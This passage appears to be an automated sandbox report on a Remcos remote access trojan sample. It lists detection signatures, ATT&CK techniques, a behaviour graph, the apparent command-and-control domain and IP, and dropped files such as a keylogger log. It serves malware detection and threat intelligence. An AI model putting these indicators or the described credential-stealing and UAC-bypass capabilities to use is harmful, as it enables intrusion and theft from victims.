                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: _mbscpy,_mbscpy,_mbscpy,_mbscpy,RegCloseKey, PopPassword4_2_00402DB3
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: _mbscpy,_mbscpy,_mbscpy,_mbscpy,RegCloseKey, SMTPPassword4_2_00402DB3
                        Yara detected WebBrowserPassView password recovery tool
                        Source: Yara matchFile source: Process Memory Space: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe PID: 7404, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe PID: 7612, type: MEMORYSTR

                        Remote Access Functionality

                        barindex
                        Detected Remcos RAT
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeMutex created: \Sessions\1\BaseNamedObjects\Rmc-A5VKNHJump to behavior
                        Yara detected Remcos RAT
                        Source: Yara matchFile source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, type: SAMPLE
                        Source: Yara matchFile source: 4.0.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 3.0.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 5.0.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 0.2.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 0.0.1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 00000004.00000000.1326090867.0000000000458000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000000.00000002.1420895160.000000000221F000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000005.00000000.1327292616.0000000000458000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000000.00000002.1420635395.000000000078E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000003.00000000.1325465619.0000000000458000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000000.00000000.1298956079.0000000000458000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
                        Source: Yara matchFile source: Process Memory Space: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe PID: 7404, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe PID: 7612, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe PID: 7620, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe PID: 7636, type: MEMORYSTR
                        Source: Yara matchFile source: C:\ProgramData\remcos\logs.dat, type: DROPPED
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: cmd.exe0_2_00405042

                        Mitre Att&ck Matrix

                        ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                        Gather Victim Identity Information11
                        Scripting                        		Valid Accounts21
                        Native API                        		11
                        Scripting                        		1
                        DLL Side-Loading                        		1
                        Deobfuscate/Decode Files or Information                        		2
                        OS Credential Dumping                        		2
                        System Time Discovery                        		Remote Services11
                        Archive Collected Data                        		12
                        Ingress Tool Transfer                        		Exfiltration Over Other Network Medium1
                        System Shutdown/Reboot
                        CredentialsDomainsDefault Accounts13
                        Command and Scripting Interpreter                        		1
                        DLL Side-Loading                        		1
                        Bypass User Account Control                        		2
                        Obfuscated Files or Information                        		211
                        Input Capture                        		1
                        Account Discovery                        		Remote Desktop Protocol1
                        Data from Local System                        		2
                        Encrypted Channel                        		Exfiltration Over Bluetooth1
                        Defacement
                        Email AddressesDNS ServerDomain Accounts2
                        Service Execution                        		1
                        Windows Service                        		1
                        Access Token Manipulation                        		1
                        Software Packing                        		2
                        Credentials in Registry                        		1
                        System Service Discovery                        		SMB/Windows Admin Shares1
                        Email Collection                        		1
                        Remote Access Software                        		Automated ExfiltrationData Encrypted for Impact
                        Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook1
                        Windows Service                        		1
                        DLL Side-Loading                        		3
                        Credentials In Files                        		3
                        File and Directory Discovery                        		Distributed Component Object Model211
                        Input Capture                        		2
                        Non-Application Layer Protocol                        		Traffic DuplicationData Destruction
                        Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon Script222
                        Process Injection                        		1
                        Bypass User Account Control                        		LSA Secrets38
                        System Information Discovery                        		SSH3
                        Clipboard Data                        		12
                        Application Layer Protocol                        		Scheduled TransferData Encrypted for Impact
                        Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
                        File Deletion                        		Cached Domain Credentials31
                        Security Software Discovery                        		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
                        DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
                        Masquerading                        		DCSync4
                        Process Discovery                        		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                        Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job1
                        Access Token Manipulation                        		Proc Filesystem1
                        System Owner/User Discovery                        		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
                        Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt222
                        Process Injection                        		/etc/passwd and /etc/shadowNetwork SniffingDirect Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement

                        Behavior Graph

                        Hide Legend

                        Legend:

                        • Process
                        • Signature
                        • Created File
                        • DNS/IP Info
                        • Is Dropped
                        • Is Windows Process
                        • Number of created Registry Values
                        • Number of created Files
                        • Visual Basic
                        • Delphi
                        • Java
                        • .Net C# or VB.NET
                        • C, C++ or other language
                        • Is malicious
                        • Internet
                        behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1591660 Sample: 1736928426c18fddec09a286518... Startdate: 15/01/2025 Architecture: WINDOWS Score: 100 25 treeofwealth.freemyip.com 2->25 27 geoplugin.net 2->27 33 Suricata IDS alerts for network traffic 2->33 35 Found malware configuration 2->35 37 Malicious sample detected (through community Yara rule) 2->37 39 12 other signatures 2->39 7 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe 7 17 2->7         started        signatures3 process4 dnsIp5 29 treeofwealth.freemyip.com 172.111.137.101, 3980, 49707, 49708 SOFTLAYERUS United States 7->29 31 geoplugin.net 178.237.33.50, 49709, 80 ATOM86-ASATOM86NL Netherlands 7->31 21 C:\...\sxcxjfxyasvispvpbyusdoknnytawtn.vbs, data 7->21 dropped 23 C:\ProgramData\remcos\logs.dat, data 7->23 dropped 41 Contains functionality to bypass UAC (CMSTPLUA) 7->41 43 Detected unpacking (changes PE section rights) 7->43 45 Detected Remcos RAT 7->45 47 9 other signatures 7->47 12 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe 1 7->12         started        15 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe 1 7->15         started        17 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe 2 7->17         started        19 wscript.exe 7->19         started        file6 signatures7 process8 signatures9 49 Tries to steal Instant Messenger accounts or passwords 12->49 51 Tries to harvest and steal browser information (history, passwords, etc) 12->51 53 Tries to steal Mail credentials (via file / registry access) 15->53 55 Deletes itself after installation 19->55

                        Screenshots

                        Thumbnails

                        This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                        windows-stand

                        Antivirus, Machine Learning and Genetic Malware Detection

                        Initial Sample

                        SourceDetectionScannerLabelLink
                        1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe70%VirustotalBrowse
                        1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe100%AviraBDS/Backdoor.Gen
                        1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe100%Joe Sandbox ML

                        Dropped Files

                        ⊘No Antivirus matches

                        Unpacked PE Files

                        ⊘No Antivirus matches

                        Domains

                        ⊘No Antivirus matches

                        URLs

                        SourceDetectionScannerLabelLink
                        treeofwealth.freemyip.com0%Avira URL Cloudsafe
                        treeofwealthyz.freemyip.com0%Avira URL Cloudsafe
                        http://www.imvu.comta0%Avira URL Cloudsafe

                        Domains and IPs

                        Contacted Domains

                        NameIPActiveMaliciousAntivirus DetectionReputation
                        treeofwealth.freemyip.com
                        		172.111.137.101
                        		truetrue
                          		unknown
                          geoplugin.net
                          		178.237.33.50
                          		truefalse
                            		high

                            Contacted URLs

                            NameMaliciousAntivirus DetectionReputation
                            http://geoplugin.net/json.gpfalse
                              		high
                              treeofwealthyz.freemyip.comtrue
                              • Avira URL Cloud: safe
                              		unknown
                              treeofwealth.freemyip.comtrue
                              • Avira URL Cloud: safe
                              		unknown

                              URLs from Memory and Binaries

                              NameSourceMaliciousAntivirus DetectionReputation
                              https://M365CDN.nel.measure.office.net/api/report?FrontEnd=VerizonCDNWorldWide&DestinationEndpoint=PbhvBC0F.tmp.3.drfalse
                                		high
                                https://www.office.com/bhvBC0F.tmp.3.drfalse
                                  		high
                                  http://www.imvu.comr1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000000.00000002.1422288417.0000000003F10000.00000040.10000000.00040000.00000000.sdmp, 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000005.00000002.1330108250.0000000000400000.00000040.80000000.00040000.00000000.sdmpfalse
                                    		high
                                    http://geoplugin.net/json.gpe1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000000.00000003.1348836321.00000000007CE000.00000004.00000020.00020000.00000000.sdmp, 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000000.00000002.1420635395.000000000078E000.00000004.00000020.00020000.00000000.sdmpfalse
                                      		high
                                      http://www.imvu.comta1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000005.00000003.1329694102.00000000005ED000.00000004.00000020.00020000.00000000.sdmp, 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000005.00000003.1329854334.00000000005ED000.00000004.00000020.00020000.00000000.sdmpfalse
                                      • Avira URL Cloud: safe
                                      		unknown
                                      https://aefd.nelreports.net/api/report?cat=bingthbhvBC0F.tmp.3.drfalse
                                        		high
                                        http://www.imvu.com1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000005.00000003.1329694102.00000000005ED000.00000004.00000020.00020000.00000000.sdmp, 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000005.00000003.1329854334.00000000005ED000.00000004.00000020.00020000.00000000.sdmp, 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000005.00000002.1330108250.0000000000400000.00000040.80000000.00040000.00000000.sdmpfalse
                                          		high
                                          https://aefd.nelreports.net/api/report?cat=wsbbhvBC0F.tmp.3.drfalse
                                            		high
                                            http://geoplugin.net/json.gp31736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000000.00000003.1348836321.00000000007CE000.00000004.00000020.00020000.00000000.sdmpfalse
                                              		high
                                              http://geoplugin.net/json.gpx1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000000.00000003.1348836321.00000000007CE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                		high
                                                http://www.nirsoft.net1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000003.00000002.1347988252.0000000000193000.00000004.00000010.00020000.00000000.sdmpfalse
                                                  		high
                                                  https://aefd.nelreports.net/api/report?cat=bingaotakbhvBC0F.tmp.3.drfalse
                                                    		high
                                                    https://deff.nelreports.net/api/report?cat=msnbhvBC0F.tmp.3.drfalse
                                                      		high
                                                      http://geoplugin.net/json.gptti1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000000.00000003.1348836321.00000000007CE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                        		high
                                                        http://www.imvu.comhttp://www.ebuddy.comhttps://www.google.com1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000000.00000002.1422288417.0000000003F10000.00000040.10000000.00040000.00000000.sdmp, 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000005.00000002.1330108250.0000000000400000.00000040.80000000.00040000.00000000.sdmpfalse
                                                          		high
                                                          https://ecs.nel.measure.office.net?TenantId=ODSP_Sync_Client&DestinationEndpoint=Edge-Prod-LAX31r5b&bhvBC0F.tmp.3.drfalse
                                                            		high
                                                            https://www.google.com1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000005.00000002.1330108250.0000000000400000.00000040.80000000.00040000.00000000.sdmpfalse
                                                              		high
                                                              http://geoplugin.net/json.gpLoc1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000000.00000003.1348836321.00000000007CE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                		high
                                                                https://aefd.nelreports.net/api/report?cat=bingaotbhvBC0F.tmp.3.drfalse
                                                                  		high
                                                                  http://geoplugin.net/json.gp/C1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exefalse
                                                                    		high
                                                                    http://geoplugin.net/json.gpJ1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000000.00000003.1348836321.00000000007CE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                      		high
                                                                      https://cxcs.microsoft.net/api/settings/en-GB/xml/settings-tipset?release=20h1&sku=Professional&platbhvBC0F.tmp.3.drfalse
                                                                        		high
                                                                        http://geoplugin.net/json.gpT1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000000.00000003.1348836321.00000000007CE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                          		high
                                                                          https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/MostlyClearNight.svgbhvBC0F.tmp.3.drfalse
                                                                            		high
                                                                            https://aefd.nelreports.net/api/report?cat=bingrmsbhvBC0F.tmp.3.drfalse
                                                                              		high
                                                                              https://www.google.com/accounts/servicelogin1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exefalse
                                                                                		high
                                                                                https://login.yahoo.com/config/login1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exefalse
                                                                                  		high
                                                                                  http://www.nirsoft.net/1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000005.00000002.1330108250.0000000000400000.00000040.80000000.00040000.00000000.sdmpfalse
                                                                                    		high
                                                                                    http://geoplugin.net/json.gperS1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000000.00000003.1348836321.00000000007CE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                      		high
                                                                                      https://ecs.nel.measure.office.net?TenantId=ODSP_Sync_Client&DestinationEndpoint=Edge-Prod-LAX31r5c&bhvBC0F.tmp.3.drfalse
                                                                                        		high
                                                                                        http://www.ebuddy.com1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000005.00000002.1330108250.0000000000400000.00000040.80000000.00040000.00000000.sdmpfalse
                                                                                          		high

                                                                                          World Map of Contacted IPs

                                                                                          • No. of IPs < 25%
                                                                                          • 25% < No. of IPs < 50%
                                                                                          • 50% < No. of IPs < 75%
                                                                                          • 75% < No. of IPs

                                                                                          Public IPs

                                                                                          IPDomainCountryFlagASNASN NameMalicious
                                                                                          172.111.137.101
                                                                                          		treeofwealth.freemyip.comUnited States
                                                                                          		36351SOFTLAYERUStrue
                                                                                          178.237.33.50
                                                                                          		geoplugin.netNetherlands
                                                                                          		8455ATOM86-ASATOM86NLfalse

                                                                                          General Information

                                                                                          Joe Sandbox version:42.0.0 Malachite
                                                                                          Analysis ID:1591660
                                                                                          Start date and time:2025-01-15 09:08:29 +01:00
                                                                                          Joe Sandbox product:CloudBasic
                                                                                          Overall analysis duration:0h 5m 30s
                                                                                          Hypervisor based Inspection enabled:false
                                                                                          Report type:full
                                                                                          Cookbook file name:default.jbs
                                                                                          Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                          Number of analysed new started processes analysed:10
                                                                                          Number of new started drivers analysed:0
                                                                                          Number of existing processes analysed:0
                                                                                          Number of existing drivers analysed:0
                                                                                          Number of injected processes analysed:0
                                                                                          Technologies:
                                                                                          • HCA enabled
                                                                                          • EGA enabled
                                                                                          • AMSI enabled
                                                                                          Analysis Mode:default
                                                                                          Analysis stop reason:Timeout
                                                                                          Sample name:1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe
                                                                                          Detection:MAL
                                                                                          Classification:mal100.rans.phis.troj.spyw.expl.evad.winEXE@9/5@2/2
                                                                                          EGA Information:
                                                                                          • Successful, ratio: 100%
                                                                                          HCA Information:
                                                                                          • Successful, ratio: 99%
                                                                                          • Number of executed functions: 142
                                                                                          • Number of non-executed functions: 289
                                                                                          Cookbook Comments:
                                                                                          • Found application associated with file extension: .exe
                                                                                          • Stop behavior analysis, all processes terminated

                                                                                          Warnings

                                                                                          • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, conhost.exe
                                                                                          • Excluded IPs from analysis (whitelisted): 13.107.246.45, 4.245.163.56
                                                                                          • Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                                                                                          • Not all processes where analyzed, report is missing behavior information
                                                                                          • Report size exceeded maximum capacity and may have missing disassembly code.
                                                                                          • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                          • Report size getting too big, too many NtQueryValueKey calls found.
                                                                                          • Report size getting too big, too many NtReadVirtualMemory calls found.

                                                                                          Simulations

                                                                                          Behavior and APIs

                                                                                          ⊘No simulations

                                                                                          Joe Sandbox View / Context

                                                                                          IPs

                                                                                          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                          178.237.33.50LrBF2Z930N.exeGet hashmaliciousRemcos, GuLoaderBrowse
                                                                                          • geoplugin.net/json.gp
                                                                                          2T10XBqS6g.exeGet hashmaliciousRemcos, GuLoaderBrowse
                                                                                          • geoplugin.net/json.gp
                                                                                          preliminary drawing.pif.exeGet hashmaliciousRemcos, PureLog StealerBrowse
                                                                                          • geoplugin.net/json.gp
                                                                                          verynicegirlwalkingarounftheworldmuuuah.htaGet hashmaliciousCobalt Strike, RemcosBrowse
                                                                                          • geoplugin.net/json.gp
                                                                                          plugmancrypted.exeGet hashmaliciousRemcosBrowse
                                                                                          • geoplugin.net/json.gp
                                                                                          documents.exeGet hashmaliciousRemcosBrowse
                                                                                          • geoplugin.net/json.gp
                                                                                          17366735083ba4993c0ae9322c32aacf9286de757a918f634b522467c19ad3da2352651d39438.dat-decoded.exeGet hashmaliciousRemcosBrowse
                                                                                          • geoplugin.net/json.gp
                                                                                          c2.htaGet hashmaliciousRemcosBrowse
                                                                                          • geoplugin.net/json.gp
                                                                                          c2.htaGet hashmaliciousRemcosBrowse
                                                                                          • geoplugin.net/json.gp
                                                                                          I1ahLI8fId.exeGet hashmaliciousRemcosBrowse
                                                                                          • geoplugin.net/json.gp

                                                                                          Domains

                                                                                          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                          geoplugin.netLrBF2Z930N.exeGet hashmaliciousRemcos, GuLoaderBrowse
                                                                                          • 178.237.33.50
                                                                                          2T10XBqS6g.exeGet hashmaliciousRemcos, GuLoaderBrowse
                                                                                          • 178.237.33.50
                                                                                          preliminary drawing.pif.exeGet hashmaliciousRemcos, PureLog StealerBrowse
                                                                                          • 178.237.33.50
                                                                                          verynicegirlwalkingarounftheworldmuuuah.htaGet hashmaliciousCobalt Strike, RemcosBrowse
                                                                                          • 178.237.33.50
                                                                                          plugmancrypted.exeGet hashmaliciousRemcosBrowse
                                                                                          • 178.237.33.50
                                                                                          documents.exeGet hashmaliciousRemcosBrowse
                                                                                          • 178.237.33.50
                                                                                          17366735083ba4993c0ae9322c32aacf9286de757a918f634b522467c19ad3da2352651d39438.dat-decoded.exeGet hashmaliciousRemcosBrowse
                                                                                          • 178.237.33.50
                                                                                          c2.htaGet hashmaliciousRemcosBrowse
                                                                                          • 178.237.33.50
                                                                                          c2.htaGet hashmaliciousRemcosBrowse
                                                                                          • 178.237.33.50
                                                                                          I1ahLI8fId.exeGet hashmaliciousRemcosBrowse
                                                                                          • 178.237.33.50

                                                                                          ASNs

                                                                                          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                          SOFTLAYERUSmips.elfGet hashmaliciousMiraiBrowse
                                                                                          • 149.81.196.57
                                                                                          sUlHfYQxNw.dllGet hashmaliciousWannacryBrowse
                                                                                          • 144.69.237.1
                                                                                          6KJ3FjgeLv.dllGet hashmaliciousWannacryBrowse
                                                                                          • 165.212.249.1
                                                                                          http://jooracces.comGet hashmaliciousUnknownBrowse
                                                                                          • 52.116.53.155
                                                                                          https://microsoft-visio.en.softonic.com/Get hashmaliciousUnknownBrowse
                                                                                          • 52.116.53.150
                                                                                          x6yDsHJ9tr.exeGet hashmaliciousRemcos, GuLoaderBrowse
                                                                                          • 43.226.229.209
                                                                                          spc.elfGet hashmaliciousUnknownBrowse
                                                                                          • 169.50.198.158
                                                                                          LrBF2Z930N.exeGet hashmaliciousRemcos, GuLoaderBrowse
                                                                                          • 43.226.229.209
                                                                                          arm5.elfGet hashmaliciousUnknownBrowse
                                                                                          • 165.192.205.133
                                                                                          mpsl.elfGet hashmaliciousUnknownBrowse
                                                                                          • 169.52.8.120
                                                                                          ATOM86-ASATOM86NLLrBF2Z930N.exeGet hashmaliciousRemcos, GuLoaderBrowse
                                                                                          • 178.237.33.50
                                                                                          2T10XBqS6g.exeGet hashmaliciousRemcos, GuLoaderBrowse
                                                                                          • 178.237.33.50
                                                                                          preliminary drawing.pif.exeGet hashmaliciousRemcos, PureLog StealerBrowse
                                                                                          • 178.237.33.50
                                                                                          verynicegirlwalkingarounftheworldmuuuah.htaGet hashmaliciousCobalt Strike, RemcosBrowse
                                                                                          • 178.237.33.50
                                                                                          plugmancrypted.exeGet hashmaliciousRemcosBrowse
                                                                                          • 178.237.33.50
                                                                                          documents.exeGet hashmaliciousRemcosBrowse
                                                                                          • 178.237.33.50
                                                                                          17366735083ba4993c0ae9322c32aacf9286de757a918f634b522467c19ad3da2352651d39438.dat-decoded.exeGet hashmaliciousRemcosBrowse
                                                                                          • 178.237.33.50
                                                                                          c.htaGet hashmaliciousRemcosBrowse
                                                                                          • 178.237.33.50
                                                                                          c2.htaGet hashmaliciousRemcosBrowse
                                                                                          • 178.237.33.50
                                                                                          c2.htaGet hashmaliciousRemcosBrowse
                                                                                          • 178.237.33.50

                                                                                          JA3 Fingerprints

                                                                                          ⊘No context

                                                                                          Dropped Files

                                                                                          ⊘No context

                                                                                          Created / dropped Files

                                                                                          C:\ProgramData\remcos\logs.dat

                                                                                          Download File
                                                                                          Process:C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe
                                                                                          File Type:data
                                                                                          Category:dropped
                                                                                          Size (bytes):144
                                                                                          Entropy (8bit):3.379519383183141
                                                                                          Encrypted:false
                                                                                          SSDEEP:3:rglsLlFHl5NU5JWRal2Jl+7R0DAlBG45klovDl6v:MlsLlVlQ5YcIeeDAlOWAv
                                                                                          MD5:0144D3B09CCE12D3968307C5E342354E
                                                                                          SHA1:A51F19E61D02B3196ADAA51B916345D188D0F959
                                                                                          SHA-256:5D39F8AD7EB834F473A770F0E7552B2BC3EFE4E5E5FF735A846A1123082C95C3
                                                                                          SHA-512:1D1B7A27CDA2B33E65CD8B703E91DBC6E139D90314CC62185540DC6F8448DB6715B877A7C6914E2A4E1834B74CC4DD16718164CA54CB031150558C7369C32144
                                                                                          Malicious:true
                                                                                          Yara Hits:
                                                                                          • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: C:\ProgramData\remcos\logs.dat, Author: Joe Security
                                                                                          Reputation:low
                                                                                          Preview:....[.2.0.2.5./.0.1./.1.5. .0.3.:.0.9.:.2.4. .O.f.f.l.i.n.e. .K.e.y.l.o.g.g.e.r. .S.t.a.r.t.e.d.].........[.P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].....

                                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\json[1].json

                                                                                          Download File
                                                                                          Process:C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe
                                                                                          File Type:JSON data
                                                                                          Category:dropped
                                                                                          Size (bytes):963
                                                                                          Entropy (8bit):5.018722888793802
                                                                                          Encrypted:false
                                                                                          SSDEEP:12:tkluWJmnd6CsGkMyGWKyGXPVGArwY307f7aZHI7GZArpv/mOAaNO+ao9W7iN5zz2:qlupdRNuKyGX85jvXhNlT3/7XcV7Wro
                                                                                          MD5:267F9EC6CC4E12E1C5709DF015F4696F
                                                                                          SHA1:D9A4A1DB44DB5776CA5821E37206665999BFC558
                                                                                          SHA-256:8DB7063EB28EBF372CB46CDE7B85DCC719076BDD3A2DCA3CCF7E3881355AED3A
                                                                                          SHA-512:0907B58486F974BCD909ECA874F0A93E33DB534DEAA32EA3F332752C3D8CF284901187D642B22FE6718A8D98087D39BEE91317989AA62B3D1B0EA20D0CC8630A
                                                                                          Malicious:false
                                                                                          Reputation:low
                                                                                          Preview:{. "geoplugin_request":"8.46.123.189",. "geoplugin_status":200,. "geoplugin_delay":"1ms",. "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.",. "geoplugin_city":"New York",. "geoplugin_region":"New York",. "geoplugin_regionCode":"NY",. "geoplugin_regionName":"New York",. "geoplugin_areaCode":"",. "geoplugin_dmaCode":"501",. "geoplugin_countryCode":"US",. "geoplugin_countryName":"United States",. "geoplugin_inEU":0,. "geoplugin_euVATrate":false,. "geoplugin_continentCode":"NA",. "geoplugin_continentName":"North America",. "geoplugin_latitude":"40.7126",. "geoplugin_longitude":"-74.0066",. "geoplugin_locationAccuracyRadius":"20",. "geoplugin_timezone":"America\/New_York",. "geoplugin_currencyCode":"USD",. "geoplugin_currencySymbol":"$",. "geoplugin_currencySymbol_UTF8":"$",. "geoplugin_currencyConverter":0.}

                                                                                          C:\Users\user\AppData\Local\Temp\bhvBC0F.tmp

                                                                                          Download File
                                                                                          Process:C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe
